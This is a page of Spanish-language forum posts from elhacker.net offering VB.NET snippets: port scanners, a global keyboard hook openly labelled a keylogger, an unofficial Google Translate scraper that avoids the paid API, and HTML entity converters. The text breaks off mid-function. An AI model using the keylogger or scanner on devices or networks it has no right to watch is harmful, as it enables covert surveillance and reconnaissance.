elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.


Tema destacado: Guía actualizada para evitar que un ransomware ataque tu empresa


  Mostrar Mensajes
Páginas: 1 ... 898 899 900 901 902 903 904 905 906 907 908 909 910 911 912 [913] 914 915 916 917 918 919 920 921 922 923 924 925 926 927 928 ... 1254
9121  Programación / .NET (C#, VB.NET, ASP) / Re: ¿Cómo escribir todas las líneas de un arreglo en un archivo de texto? en: 3 Junio 2013, 09:57 am
Primero unes el array con un join y luego usas el método que has comentado (el que te da errores por no escribir los argumentos), o el método de my.computer:

VB:
Código
  1. My.Computer.FileSystem.WriteAllText("Test.txt", String.Join(vbnewline, MiArray), False)
(Creo que no necesita traducción, añade un ";" al final)

-> VB a C#, para códigos largos: http://converter.telerik.com/

Saludos
9122  Programación / .NET (C#, VB.NET, ASP) / Re: Librería de Snippets !! (Posteen aquí sus snippets) en: 2 Junio 2013, 17:53 pm
LA PARTE IMPORTANTE DE ESTOS CÓDIGOS LOS HE TOMADO DEL BUENO DE KUBOX:

Escanear un puerto abierto

Código
  1. #Region " Port Scan "
  2.  
  3.    ' [ Port Scan Function ]
  4.    '
  5.    ' // By Elektro H@cker
  6.    '
  7.    ' Examples :
  8.    ' MsgBox(Port_Scan("84.126.113.10", 80))
  9.    ' MsgBox(Port_Scan("84.126.113.10", 80, Net.Sockets.ProtocolType.Udp))
  10.  
  11.    Private Function Port_Scan(ByVal IP As String, ByVal Port As Int32, _
  12.                               Optional ByVal Type As System.Net.Sockets.ProtocolType = Net.Sockets.ProtocolType.Tcp) As Boolean
  13.  
  14.        Dim Open As Boolean
  15.  
  16.        Try
  17.            Dim socket As New System.Net.Sockets.Socket(System.Net.Sockets.AddressFamily.InterNetwork, _
  18.                                                        System.Net.Sockets.SocketType.Stream, Type)
  19.            socket.Connect(IP, Port)
  20.            Open = socket.Connected
  21.            socket.Disconnect(False)
  22.            Return Open
  23.        Catch ex As Exception
  24.            MsgBox(ex.Message)
  25.            ' Return False
  26.        End Try
  27.  
  28.    End Function
  29.  
  30. #End Region




Escanear un rango de puertos

Código
  1. #Region " Port Range Scan "
  2.  
  3.    ' [ Port Range Scan Function ]
  4.    '
  5.    ' // By Elektro H@cker
  6.    '
  7.    ' Examples :
  8.    ' For Each Open_Port In Port_Range_Scan("84.126.113.10, 1, 5000) : MsgBox(Open_Port) : Next
  9.  
  10.    Private Function Port_Range_Scan(ByVal IP As String, ByVal Port_Start As Int32, ByVal Port_End As Int32, _
  11.                                     Optional ByVal Type As System.Net.Sockets.ProtocolType = Net.Sockets.ProtocolType.Tcp _
  12.                                    ) As List(Of String)
  13.  
  14.        Dim Open_Ports_List As New List(Of String)
  15.  
  16.        Try
  17.            For Port As Int32 = Port_Start To Port_End
  18.                Dim socket As New System.Net.Sockets.Socket(System.Net.Sockets.AddressFamily.InterNetwork, _
  19.                                                     System.Net.Sockets.SocketType.Stream, Type)
  20.                socket.Connect(IP, Port)
  21.                If socket.Connected Then Open_Ports_List.Add(Port)
  22.                socket.Disconnect(False)
  23.            Next Port
  24.            Return Open_Ports_List
  25.        Catch ex As Exception
  26.            MsgBox(ex.Message)
  27.            Return Nothing
  28.        End Try
  29.  
  30.    End Function
  31.  
  32. #End Region
9123  Programación / .NET (C#, VB.NET, ASP) / Re: Librería de Snippets !! (Posteen aquí sus snippets) en: 2 Junio 2013, 17:15 pm
Elektro pone al principio del ultimo snippet ublic, en vez de Public:laugh:

Corregido, gracias.

¿Alguna imperfección más? xD

Salu2!
9124  Programación / .NET (C#, VB.NET, ASP) / Re: Librería de Snippets !! (Posteen aquí sus snippets) en: 2 Junio 2013, 15:56 pm
Un low-level hook para capturar el keyboard fuera del form, es decir, un keylogger.

La idea la tuve de un code que vi de Kub0x

Esta es la parte que me he currado yo:

Código
  1. #Region " KeyLogger "
  2.  
  3. Public WithEvents KeysHook As New KeyboardHook
  4.  
  5. Dim Auto_Backspace_Key As Boolean = True
  6. Dim Auto_Enter_Key As Boolean = True
  7. Dim Auto_Tab_Key As Boolean = True
  8. Dim No_F_Keys As Boolean = False
  9.  
  10. Private Sub KeysHook_KeyDown(ByVal Key As Keys) Handles KeysHook.KeyDown
  11.  
  12.    Select Case Control.ModifierKeys
  13.  
  14.        Case 393216 ' Alt-GR + Key
  15.  
  16.            Select Case Key
  17.                Case Keys.D1 : Key_Listener("|")
  18.                Case Keys.D2 : Key_Listener("@")
  19.                Case Keys.D3 : Key_Listener("#")
  20.                Case Keys.D4 : Key_Listener("~")
  21.                Case Keys.D5 : Key_Listener("€")
  22.                Case Keys.D6 : Key_Listener("¬")
  23.                Case Keys.E : Key_Listener("€")
  24.                Case Keys.Oem1 : Key_Listener("[")
  25.                Case Keys.Oem5 : Key_Listener("\")
  26.                Case Keys.Oem7 : Key_Listener("{")
  27.                Case Keys.Oemplus : Key_Listener("]")
  28.                Case Keys.OemQuestion : Key_Listener("}")
  29.                Case Else : Key_Listener("")
  30.            End Select
  31.  
  32.        Case 65536 ' LShift/RShift + Key
  33.  
  34.            Select Case Key
  35.                Case Keys.D0 : Key_Listener("=")
  36.                Case Keys.D1 : Key_Listener("!")
  37.                Case Keys.D2 : Key_Listener("""")
  38.                Case Keys.D3 : Key_Listener("·")
  39.                Case Keys.D4 : Key_Listener("$")
  40.                Case Keys.D5 : Key_Listener("%")
  41.                Case Keys.D6 : Key_Listener("&")
  42.                Case Keys.D7 : Key_Listener("/")
  43.                Case Keys.D8 : Key_Listener("(")
  44.                Case Keys.D9 : Key_Listener(")")
  45.                Case Keys.Oem1 : Key_Listener("^")
  46.                Case Keys.Oem5 : Key_Listener("ª")
  47.                Case Keys.Oem6 : Key_Listener("¿")
  48.                Case Keys.Oem7 : Key_Listener("¨")
  49.                Case Keys.OemBackslash : Key_Listener(">")
  50.                Case Keys.Oemcomma : Key_Listener(";")
  51.                Case Keys.OemMinus : Key_Listener("_")
  52.                Case Keys.OemOpenBrackets : Key_Listener("?")
  53.                Case Keys.OemPeriod : Key_Listener(":")
  54.                Case Keys.Oemplus : Key_Listener("*")
  55.                Case Keys.OemQuestion : Key_Listener("Ç")
  56.                Case Keys.Oemtilde : Key_Listener("Ñ")
  57.                Case Else : Key_Listener("")
  58.            End Select
  59.  
  60.        Case Else
  61.  
  62.            If Key.ToString.Length = 1 Then ' Single alpha key
  63.  
  64.                If Control.IsKeyLocked(Keys.CapsLock) Or Control.ModifierKeys = Keys.Shift Then
  65.                    Key_Listener(Key.ToString.ToUpper)
  66.                Else
  67.                    Key_Listener(Key.ToString.ToLower)
  68.                End If
  69.  
  70.            Else
  71.  
  72.                Select Case Key ' Single special key
  73.                    Case Keys.Add : Key_Listener("+")
  74.                    Case Keys.Back : Key_Listener("{BackSpace}")
  75.                    Case Keys.D0 : Key_Listener("0")
  76.                    Case Keys.D1 : Key_Listener("1")
  77.                    Case Keys.D2 : Key_Listener("2")
  78.                    Case Keys.D3 : Key_Listener("3")
  79.                    Case Keys.D4 : Key_Listener("4")
  80.                    Case Keys.D5 : Key_Listener("5")
  81.                    Case Keys.D6 : Key_Listener("6")
  82.                    Case Keys.D7 : Key_Listener("7")
  83.                    Case Keys.D8 : Key_Listener("8")
  84.                    Case Keys.D9 : Key_Listener("9")
  85.                    Case Keys.Decimal : Key_Listener(".")
  86.                    Case Keys.Delete : Key_Listener("{Supr}")
  87.                    Case Keys.Divide : Key_Listener("/")
  88.                    Case Keys.End : Key_Listener("{End}")
  89.                    Case Keys.Enter : Key_Listener("{Enter}")
  90.                    Case Keys.F1 : Key_Listener("{F1}")
  91.                    Case Keys.F10 : Key_Listener("{F10}")
  92.                    Case Keys.F11 : Key_Listener("{F11}")
  93.                    Case Keys.F12 : Key_Listener("{F12}")
  94.                    Case Keys.F2 : Key_Listener("{F2}")
  95.                    Case Keys.F3 : Key_Listener("{F3}")
  96.                    Case Keys.F4 : Key_Listener("{F4}")
  97.                    Case Keys.F5 : Key_Listener("{F5}")
  98.                    Case Keys.F6 : Key_Listener("{F6}")
  99.                    Case Keys.F7 : Key_Listener("{F7}")
  100.                    Case Keys.F8 : Key_Listener("{F8}")
  101.                    Case Keys.F9 : Key_Listener("{F9}")
  102.                    Case Keys.Home : Key_Listener("{Home}")
  103.                    Case Keys.Insert : Key_Listener("{Insert}")
  104.                    Case Keys.Multiply : Key_Listener("*")
  105.                    Case Keys.NumPad0 : Key_Listener("0")
  106.                    Case Keys.NumPad1 : Key_Listener("1")
  107.                    Case Keys.NumPad2 : Key_Listener("2")
  108.                    Case Keys.NumPad3 : Key_Listener("3")
  109.                    Case Keys.NumPad4 : Key_Listener("4")
  110.                    Case Keys.NumPad5 : Key_Listener("5")
  111.                    Case Keys.NumPad6 : Key_Listener("6")
  112.                    Case Keys.NumPad7 : Key_Listener("7")
  113.                    Case Keys.NumPad8 : Key_Listener("8")
  114.                    Case Keys.NumPad9 : Key_Listener("9")
  115.                    Case Keys.Oem1 : Key_Listener("`")
  116.                    Case Keys.Oem5 : Key_Listener("º")
  117.                    Case Keys.Oem6 : Key_Listener("¡")
  118.                    Case Keys.Oem7 : Key_Listener("´")
  119.                    Case Keys.OemBackslash : Key_Listener("<")
  120.                    Case Keys.Oemcomma : Key_Listener(",")
  121.                    Case Keys.OemMinus : Key_Listener(".")
  122.                    Case Keys.OemOpenBrackets : Key_Listener("'")
  123.                    Case Keys.OemPeriod : Key_Listener("-")
  124.                    Case Keys.Oemplus : Key_Listener("+")
  125.                    Case Keys.OemQuestion : Key_Listener("ç")
  126.                    Case Keys.Oemtilde : Key_Listener("ñ")
  127.                    Case Keys.PageDown : Key_Listener("{AvPag}")
  128.                    Case Keys.PageUp : Key_Listener("{RePag}")
  129.                    Case Keys.Space : Key_Listener(" ")
  130.                    Case Keys.Subtract : Key_Listener("-")
  131.                    Case Keys.Tab : Key_Listener("{Tabulation}")
  132.                    Case Else : Key_Listener("")
  133.                End Select
  134.  
  135.            End If
  136.  
  137.    End Select
  138.  
  139. End Sub
  140.  
  141. Public Sub Key_Listener(ByVal key As String)
  142.  
  143.    If Auto_Backspace_Key AndAlso key = "{BackSpace}" Then ' Delete character
  144.        RichTextBox1.Text = RichTextBox1.Text.Substring(0, RichTextBox1.Text.Length - 1)
  145.    ElseIf Auto_Enter_Key AndAlso key = "{Enter}" Then ' Insert new line
  146.        RichTextBox1.Text += ControlChars.NewLine
  147.    ElseIf Auto_Tab_Key AndAlso key = "{Tabulation}" Then ' Insert Tabulation
  148.        RichTextBox1.Text += ControlChars.Tab
  149.    ElseIf No_F_Keys AndAlso key.StartsWith("{F") Then ' Ommit F Keys
  150.    Else ' Print the character
  151.        RichTextBox1.Text += key
  152.    End If
  153.  
  154. End Sub
  155.  
  156. #End Region

Y esta es la class del Hook:
Código
  1. Imports System.Runtime.InteropServices
  2.  
  3. Public Class KeyboardHook
  4.  
  5.    <DllImport("User32.dll", CharSet:=CharSet.Auto, CallingConvention:=CallingConvention.StdCall)> _
  6.    Private Overloads Shared Function SetWindowsHookEx(ByVal idHook As Integer, ByVal HookProc As KBDLLHookProc, ByVal hInstance As IntPtr, ByVal wParam As Integer) As Integer
  7.    End Function
  8.  
  9.    <DllImport("User32.dll", CharSet:=CharSet.Auto, CallingConvention:=CallingConvention.StdCall)> _
  10.    Private Overloads Shared Function CallNextHookEx(ByVal idHook As Integer, ByVal nCode As Integer, ByVal wParam As IntPtr, ByVal lParam As IntPtr) As Integer
  11.    End Function
  12.  
  13.    <DllImport("User32.dll", CharSet:=CharSet.Auto, CallingConvention:=CallingConvention.StdCall)> _
  14.    Private Overloads Shared Function UnhookWindowsHookEx(ByVal idHook As Integer) As Boolean
  15.    End Function
  16.  
  17.    <StructLayout(LayoutKind.Sequential)> _
  18.    Private Structure KBDLLHOOKSTRUCT
  19.        Public vkCode As UInt32
  20.        Public scanCode As UInt32
  21.        Public flags As KBDLLHOOKSTRUCTFlags
  22.        Public time As UInt32
  23.        Public dwExtraInfo As UIntPtr
  24.    End Structure
  25.  
  26.    <Flags()> _
  27.    Private Enum KBDLLHOOKSTRUCTFlags As UInt32
  28.        LLKHF_EXTENDED = &H1
  29.        LLKHF_INJECTED = &H10
  30.        LLKHF_ALTDOWN = &H20
  31.        LLKHF_UP = &H80
  32.    End Enum
  33.  
  34.    Public Shared Event KeyDown(ByVal Key As Keys)
  35.    Public Shared Event KeyUp(ByVal Key As Keys)
  36.  
  37.    Private Const WH_KEYBOARD_LL As Integer = 13
  38.    Private Const HC_ACTION As Integer = 0
  39.    Private Const WM_KEYDOWN = &H100
  40.    Private Const WM_KEYUP = &H101
  41.    Private Const WM_SYSKEYDOWN = &H104
  42.    Private Const WM_SYSKEYUP = &H105
  43.  
  44.    Private Delegate Function KBDLLHookProc(ByVal nCode As Integer, ByVal wParam As IntPtr, ByVal lParam As IntPtr) As Integer
  45.  
  46.    Private KBDLLHookProcDelegate As KBDLLHookProc = New KBDLLHookProc(AddressOf KeyboardProc)
  47.    Private HHookID As IntPtr = IntPtr.Zero
  48.  
  49.    Private Function KeyboardProc(ByVal nCode As Integer, ByVal wParam As IntPtr, ByVal lParam As IntPtr) As Integer
  50.        If (nCode = HC_ACTION) Then
  51.            Dim struct As KBDLLHOOKSTRUCT
  52.            Select Case wParam
  53.                Case WM_KEYDOWN, WM_SYSKEYDOWN
  54.                    RaiseEvent KeyDown(CType(CType(Marshal.PtrToStructure(lParam, struct.GetType()), KBDLLHOOKSTRUCT).vkCode, Keys))
  55.                Case WM_KEYUP, WM_SYSKEYUP
  56.                    RaiseEvent KeyUp(CType(CType(Marshal.PtrToStructure(lParam, struct.GetType()), KBDLLHOOKSTRUCT).vkCode, Keys))
  57.            End Select
  58.        End If
  59.        Return CallNextHookEx(IntPtr.Zero, nCode, wParam, lParam)
  60.    End Function
  61.  
  62.    Public Sub New()
  63.        HHookID = SetWindowsHookEx(WH_KEYBOARD_LL, KBDLLHookProcDelegate, System.Runtime.InteropServices.Marshal.GetHINSTANCE(System.Reflection.Assembly.GetExecutingAssembly.GetModules()(0)).ToInt32, 0)
  64.        If HHookID = IntPtr.Zero Then
  65.            Throw New Exception("Could not set keyboard hook")
  66.        End If
  67.    End Sub
  68.  
  69.    Protected Overrides Sub Finalize()
  70.        If Not HHookID = IntPtr.Zero Then
  71.            UnhookWindowsHookEx(HHookID)
  72.        End If
  73.        MyBase.Finalize()
  74.    End Sub
  75.  
  76. End Class
9125  Programación / .NET (C#, VB.NET, ASP) / Re: Librería de Snippets !! (Posteen aquí sus snippets) en: 2 Junio 2013, 08:21 am
Usar Google Translate sin comprar la API de pago xD

Código
  1. #Region " Google Translate "
  2.  
  3.    ' [ Google Translate Function ]
  4.    '
  5.    ' // By Elektro H@cker
  6.    '
  7.    ' Examples :
  8.    '
  9.    ' MsgBox(Google_Translate("Hello world", GoogleTranslate_Languages.en, GoogleTranslate_Languages.es))   ' Result: Hola mundo
  10.    ' MsgBox(Google_Translate("Hello world", GoogleTranslate_Languages.auto, GoogleTranslate_Languages.fr)) ' Result: Bonjour tout le monde
  11.  
  12.    Public Enum GoogleTranslate_Languages
  13.        auto ' Detectar idioma
  14.        af ' afrikáans
  15.        ar ' árabe
  16.        az ' azerí
  17.        be ' bielorruso
  18.        bg ' búlgaro
  19.        bn ' bengalí; bangla
  20.        bs ' bosnio
  21.        ca ' catalán
  22.        ceb ' cebuano
  23.        cs ' checo
  24.        cy ' galés
  25.        da ' danés
  26.        de ' alemán
  27.        el ' griego
  28.        en ' inglés
  29.        eo ' esperanto
  30.        es ' español
  31.        et ' estonio
  32.        eu ' euskera
  33.        fa ' persa
  34.        fi ' finlandés
  35.        fr ' francés
  36.        ga ' irlandés
  37.        gl ' gallego
  38.        gu ' gujarati
  39.        hi ' hindi
  40.        hmn ' Hmong
  41.        hr ' croata
  42.        ht ' criollo haitiano
  43.        hu ' húngaro
  44.        hy ' armenio
  45.        id ' indonesio
  46.        it ' italiano
  47.        iw ' hebreo
  48.        ja ' japonés
  49.        jw ' javanés
  50.        ka ' georgiano
  51.        km ' Jemer
  52.        kn ' canarés
  53.        ko ' coreano
  54.        la ' latín
  55.        lo ' lao
  56.        lt ' lituano
  57.        lv ' letón
  58.        mk ' macedonio
  59.        mr ' maratí
  60.        ms ' malayo
  61.        mt ' maltés
  62.        nl ' holandés
  63.        no ' noruego
  64.        pl ' polaco
  65.        pt ' portugués
  66.        ro ' rumano
  67.        ru ' ruso
  68.        sk ' eslovaco
  69.        sl ' esloveno
  70.        sq ' albanés
  71.        sr ' serbio
  72.        sv ' sueco
  73.        sw ' suajili
  74.        ta ' tamil
  75.        te ' telugu
  76.        th ' tailandés
  77.        tl ' tagalo
  78.        tr ' turco
  79.        uk ' ucraniano
  80.        ur ' urdu
  81.        vi ' vietnamita
  82.        yi ' yidis
  83.        zh_CN ' chino
  84.    End Enum
  85.  
  86.    Public Function Google_Translate(ByVal Input As String, _
  87.                                     ByVal From_Language As GoogleTranslate_Languages, _
  88.                                     ByVal To_Language As GoogleTranslate_Languages) As String
  89.  
  90.        Dim Formatted_From_Language As String = From_Language.ToString.Replace("_", "-") ' zh_CN > zh-CN
  91.        Dim Formatted_To_Language As String = To_Language.ToString.Replace("_", "-") ' zh_CN > zh-CN
  92.  
  93.        Dim webClient As New System.Net.WebClient
  94.  
  95.        Dim str = webClient.DownloadString( _
  96.        "http://translate.google.com/translate_a/t?client=t&text=" & Input & _
  97.        "&sl=" & Formatted_From_Language & _
  98.        "&tl=" & Formatted_To_Language & "")
  99.  
  100.        Return (str.Substring(4, str.Length - 4).Split(ControlChars.Quote).First)
  101.  
  102.    End Function
  103.  
  104. #End Region

Extra:
-> [BATCH] GTC (Google Translate Console)
9126  Programación / .NET (C#, VB.NET, ASP) / Re: Librería de Snippets !! (Posteen aquí sus snippets) en: 2 Junio 2013, 08:19 am
Un simple método Get:

Código
  1. #Region " Get Method "
  2.  
  3.    ' [ Get Method Function ]
  4.    '
  5.    ' Examples :
  6.    ' MsgBox(Get_Method("http://translate.google.com/translate_a/t?client=t&text=HelloWorld&sl=en&tl=en")) ' Result: [[["HelloWorld","HelloWorld","",""]],,"en",,,,,,[["en"]],0]
  7.  
  8.    Public Function Get_Method(ByVal URL As String) As String
  9.        Dim webClient As New System.Net.WebClient
  10.        Return webClient.DownloadString(URL)
  11.    End Function
  12.  
  13. #End Region




Convierte un string a entidades html:

Código
  1. #Region " String To Html Entities "
  2.  
  3.    ' [ String To Html Escaped Function ]
  4.    '
  5.    ' // By Elektro H@cker
  6.    '
  7.    ' Examples :
  8.    ' MsgBox(String_To_Html_Entities("www.Goo&gle.com")) ' Result: www.Goo&amp;gle.com
  9.  
  10.    Private Function String_To_Html_Entities(ByVal str As String) As String
  11.  
  12.        str = str.Replace("&", "&amp;") ' Keep this character to be always the first replaced.
  13.        str = str.Replace(ControlChars.Quote, "&quot;")
  14.        str = str.Replace(" ", "&nbsp;")
  15.        str = str.Replace("<", "&lt;")
  16.        str = str.Replace(">", "&gt;")
  17.        str = str.Replace("¡", "&iexcl;")
  18.        str = str.Replace("¢", "&cent;")
  19.        str = str.Replace("£", "&pound;")
  20.        str = str.Replace("¤", "&curren;")
  21.        str = str.Replace("¥", "&yen;")
  22.        str = str.Replace("¦", "&brvbar;")
  23.        str = str.Replace("§", "&sect;")
  24.        str = str.Replace("¨", "&uml;")
  25.        str = str.Replace("©", "&copy;")
  26.        str = str.Replace("ª", "&ordf;")
  27.        str = str.Replace("¬", "&not;")
  28.        str = str.Replace("®", "&reg;")
  29.        str = str.Replace("¯", "&macr;")
  30.        str = str.Replace("°", "&deg;")
  31.        str = str.Replace("±", "&plusmn;")
  32.        str = str.Replace("²", "&sup2;")
  33.        str = str.Replace("³", "&sup3;")
  34.        str = str.Replace("´", "&acute;")
  35.        str = str.Replace("µ", "&micro;")
  36.        str = str.Replace("¶", "&para;")
  37.        str = str.Replace("·", "&middot;")
  38.        str = str.Replace("¸", "&cedil;")
  39.        str = str.Replace("¹", "&sup1;")
  40.        str = str.Replace("º", "&ordm;")
  41.        str = str.Replace("»", "&raquo;")
  42.        str = str.Replace("¼", "&frac14;")
  43.        str = str.Replace("½", "&frac12;")
  44.        str = str.Replace("¾", "&frac34;")
  45.        str = str.Replace("¿", "&iquest;")
  46.        str = str.Replace("×", "&times;")
  47.        str = str.Replace("ß", "&szlig;")
  48.        str = str.Replace("À", "&Agrave;")
  49.        str = str.Replace("à", "&agrave;")
  50.        str = str.Replace("Á", "&Aacute;")
  51.        str = str.Replace("á", "&aacute;")
  52.        str = str.Replace("", "&Acirc;")
  53.        str = str.Replace("â", "&acirc;")
  54.        str = str.Replace("Ã", "&Atilde;")
  55.        str = str.Replace("ã", "&atilde;")
  56.        str = str.Replace("Ä", "&Auml;")
  57.        str = str.Replace("ä", "&auml;")
  58.        str = str.Replace("Å", "&Aring;")
  59.        str = str.Replace("å", "&aring;")
  60.        str = str.Replace("Æ", "&AElig;")
  61.        str = str.Replace("æ", "&aelig;")
  62.        str = str.Replace("ç", "&ccedil;")
  63.        str = str.Replace("Ç", "&Ccedil;")
  64.        str = str.Replace("È", "&Egrave;")
  65.        str = str.Replace("è", "&egrave;")
  66.        str = str.Replace("É", "&Eacute;")
  67.        str = str.Replace("é", "&eacute;")
  68.        str = str.Replace("Ê", "&Ecirc;")
  69.        str = str.Replace("ê", "&ecirc;")
  70.        str = str.Replace("Ë", "&Euml;")
  71.        str = str.Replace("ë", "&euml;")
  72.        str = str.Replace("Ì", "&Igrave;")
  73.        str = str.Replace("ì", "&igrave;")
  74.        str = str.Replace("Í", "&Iacute;")
  75.        str = str.Replace("í", "&iacute;")
  76.        str = str.Replace("Î", "&Icirc;")
  77.        str = str.Replace("î", "&icirc;")
  78.        str = str.Replace("Ï", "&Iuml;")
  79.        str = str.Replace("ï", "&iuml;")
  80.        str = str.Replace("Ð", "&ETH;")
  81.        str = str.Replace("ð", "&eth;")
  82.        str = str.Replace("ñ", "&ntilde;")
  83.        str = str.Replace("Ñ", "&Ntilde;")
  84.        str = str.Replace("Ò", "&Ograve;")
  85.        str = str.Replace("ò", "&ograve;")
  86.        str = str.Replace("Ó", "&Oacute;")
  87.        str = str.Replace("ó", "&oacute;")
  88.        str = str.Replace("Ô", "&Ocirc;")
  89.        str = str.Replace("ô", "&ocirc;")
  90.        str = str.Replace("Õ", "&Otilde;")
  91.        str = str.Replace("õ", "&otilde;")
  92.        str = str.Replace("Ö", "&Ouml;")
  93.        str = str.Replace("ö", "&ouml;")
  94.        str = str.Replace("÷", "&divide;")
  95.        str = str.Replace("Ø", "&Oslash;")
  96.        str = str.Replace("ø", "&oslash;")
  97.        str = str.Replace("Ù", "&Ugrave;")
  98.        str = str.Replace("ù", "&ugrave;")
  99.        str = str.Replace("Ú", "&Uacute;")
  100.        str = str.Replace("ú", "&uacute;")
  101.        str = str.Replace("Û", "&Ucirc;")
  102.        str = str.Replace("û", "&ucirc;")
  103.        str = str.Replace("Ü", "&Uuml;")
  104.        str = str.Replace("ü", "&uuml;")
  105.        str = str.Replace("Ý", "&Yacute;")
  106.        str = str.Replace("ý", "&yacute;")
  107.        str = str.Replace("Þ", "&THORN;")
  108.        str = str.Replace("þ", "&thorn;")
  109.        str = str.Replace("€", "&euro;")
  110.  
  111.        Return str
  112.  
  113.    End Function
  114.  
  115. #End Region





Convierte un string a entidades html codificadas:

Código
  1. #Region " String To Html Escaped Entities "
  2.  
  3.    ' [ String To Html Escaped Entities Function ]
  4.    '
  5.    ' // By Elektro H@cker
  6.    '
  7.    ' Examples :
  8.    ' MsgBox(String_To_Html_Escaped_Entities("Me@Gmail.com")) ' Result: &#38;#77;&#38;#101;&#38;#64;&#38;#71;&#38;#109;&#38;#97;&#38;#105;&#38;#108;&#38;#46;&#38;#99;&#38;#111;&#38;#109;
  9.  
  10.    Public Function String_To_Html_Escaped_Entities(str As String) As String
  11.        Dim sb As New System.Text.StringBuilder(str.Length * 6)
  12.        For Each c As Char In str : sb.Append("&#38;#").Append(CType(AscW(c), UShort)).Append(";"c) : Next
  13.        Return sb.ToString()
  14.    End Function
  15.  
  16. #End Region




Decodifica un string que contenga entidades HTML

Código
  1. #Region " Html Entities To String "
  2.  
  3.    ' [ Html Entities To String Function ]
  4.    '
  5.    ' // By Elektro H@cker
  6.    '
  7.    ' Examples :
  8.    ' MsgBox(Html_Entities_To_String("www.Goo&amp;gle.com")) ' Result: Goo&gle.com
  9.  
  10.    Private Function Html_Entities_To_String(ByVal str As String) As String
  11.  
  12.        str = str.Replace("&quot;", ControlChars.Quote)
  13.        str = str.Replace("&amp;", "&")
  14.        str = str.Replace("&nbsp;", "")
  15.        str = str.Replace("&lt;", "<")
  16.        str = str.Replace("&gt;", ">")
  17.        str = str.Replace("&iexcl;", "¡")
  18.        str = str.Replace("&cent;", "¢")
  19.        str = str.Replace("&pound;", "£")
  20.        str = str.Replace("&curren;", "¤")
  21.        str = str.Replace("&yen;", "¥")
  22.        str = str.Replace("&brvbar;", "¦")
  23.        str = str.Replace("&sect;", "§")
  24.        str = str.Replace("&uml;", "¨")
  25.        str = str.Replace("&copy;", "©")
  26.        str = str.Replace("&ordf;", "ª")
  27.        str = str.Replace("&not;", "¬")
  28.        str = str.Replace("&reg;", "®")
  29.        str = str.Replace("&macr;", "¯")
  30.        str = str.Replace("&deg;", "°")
  31.        str = str.Replace("&plusmn;", "±")
  32.        str = str.Replace("&sup2;", "²")
  33.        str = str.Replace("&sup3;", "³")
  34.        str = str.Replace("&acute;", "´")
  35.        str = str.Replace("&micro;", "µ")
  36.        str = str.Replace("&para;", "¶")
  37.        str = str.Replace("&middot;", "·")
  38.        str = str.Replace("&cedil;", "¸")
  39.        str = str.Replace("&sup1;", "¹")
  40.        str = str.Replace("&ordm;", "º")
  41.        str = str.Replace("&raquo;", "»")
  42.        str = str.Replace("&frac14;", "¼")
  43.        str = str.Replace("&frac12;", "½")
  44.        str = str.Replace("&frac34;", "¾")
  45.        str = str.Replace("&iquest;", "¿")
  46.        str = str.Replace("&times;", "×")
  47.        str = str.Replace("&szlig;", "ß")
  48.        str = str.Replace("&Agrave;", "À")
  49.        str = str.Replace("&agrave;", "à")
  50.        str = str.Replace("&Aacute;", "Á")
  51.        str = str.Replace("&aacute;", "á")
  52.        str = str.Replace("&Acirc;", "")
  53.        str = str.Replace("&acirc;", "â")
  54.        str = str.Replace("&Atilde;", "Ã")
  55.        str = str.Replace("&atilde;", "ã")
  56.        str = str.Replace("&Auml;", "Ä")
  57.        str = str.Replace("&auml;", "ä")
  58.        str = str.Replace("&Aring;", "Å")
  59.        str = str.Replace("&aring;", "å")
  60.        str = str.Replace("&AElig;", "Æ")
  61.        str = str.Replace("&aelig;", "æ")
  62.        str = str.Replace("&ccedil;", "ç")
  63.        str = str.Replace("&Ccedil;", "Ç")
  64.        str = str.Replace("&Egrave;", "È")
  65.        str = str.Replace("&egrave;", "è")
  66.        str = str.Replace("&Eacute;", "É")
  67.        str = str.Replace("&eacute;", "é")
  68.        str = str.Replace("&Ecirc;", "Ê")
  69.        str = str.Replace("&ecirc;", "ê")
  70.        str = str.Replace("&Euml;", "Ë")
  71.        str = str.Replace("&euml;", "ë")
  72.        str = str.Replace("&Igrave;", "Ì")
  73.        str = str.Replace("&igrave;", "ì")
  74.        str = str.Replace("&Iacute;", "Í")
  75.        str = str.Replace("&iacute;", "í")
  76.        str = str.Replace("&Icirc;", "Î")
  77.        str = str.Replace("&icirc;", "î")
  78.        str = str.Replace("&Iuml;", "Ï")
  79.        str = str.Replace("&iuml;", "ï")
  80.        str = str.Replace("&ETH;", "Ð")
  81.        str = str.Replace("&eth;", "ð")
  82.        str = str.Replace("&ntilde;", "ñ")
  83.        str = str.Replace("&Ntilde;", "Ñ")
  84.        str = str.Replace("&Ograve;", "Ò")
  85.        str = str.Replace("&ograve;", "ò")
  86.        str = str.Replace("&Oacute;", "Ó")
  87.        str = str.Replace("&oacute;", "ó")
  88.        str = str.Replace("&Ocirc;", "Ô")
  89.        str = str.Replace("&ocirc;", "ô")
  90.        str = str.Replace("&Otilde;", "Õ")
  91.        str = str.Replace("&otilde;", "õ")
  92.        str = str.Replace("&Ouml;", "Ö")
  93.        str = str.Replace("&ouml;", "ö")
  94.        str = str.Replace("&divide;", "÷")
  95.        str = str.Replace("&Oslash;", "Ø")
  96.        str = str.Replace("&oslash;", "ø")
  97.        str = str.Replace("&Ugrave;", "Ù")
  98.        str = str.Replace("&ugrave;", "ù")
  99.        str = str.Replace("&Uacute;", "Ú")
  100.        str = str.Replace("&uacute;", "ú")
  101.        str = str.Replace("&Ucirc;", "Û")
  102.        str = str.Replace("&ucirc;", "û")
  103.        str = str.Replace("&Uuml;", "Ü")
  104.        str = str.Replace("&uuml;", "ü")
  105.        str = str.Replace("&Yacute;", "Ý")
  106.        str = str.Replace("&yacute;", "ý")
  107.        str = str.Replace("&THORN;", "Þ")
  108.        str = str.Replace("&thorn;", "þ")
  109.        str = str.Replace("&euro;", "€")
  110.  
  111.        Return str
  112.  
  113.    End Function
  114.  
  115. #End Region





Decodifica un string codificado en HTML Escaped Entities

Código
  1. #Region " Html Escaped Entities To String "
  2.  
  3.    ' [ Html Escaped Entities To String Function ]
  4.    '
  5.    ' // By Elektro H@cker
  6.    '
  7.    ' Examples :
  8.    ' MsgBox(Html_Escaped_Entities_To_String("&#38;#77;&#38;#101;&#38;#64;&#38;#71;&#38;#109;&#38;#97;&#38;#105;&#38;#108;&#38;#46;&#38;#99;&#38;#111;&#38;#109;")) ' Result: Me@Gmail.com
  9.  
  10.   Public Function Html_Escaped_Entities_To_String(str As String) As String
  11.        Dim sb As New System.Text.StringBuilder(str.Length)
  12.        str = str.Replace("&#38;#", "")
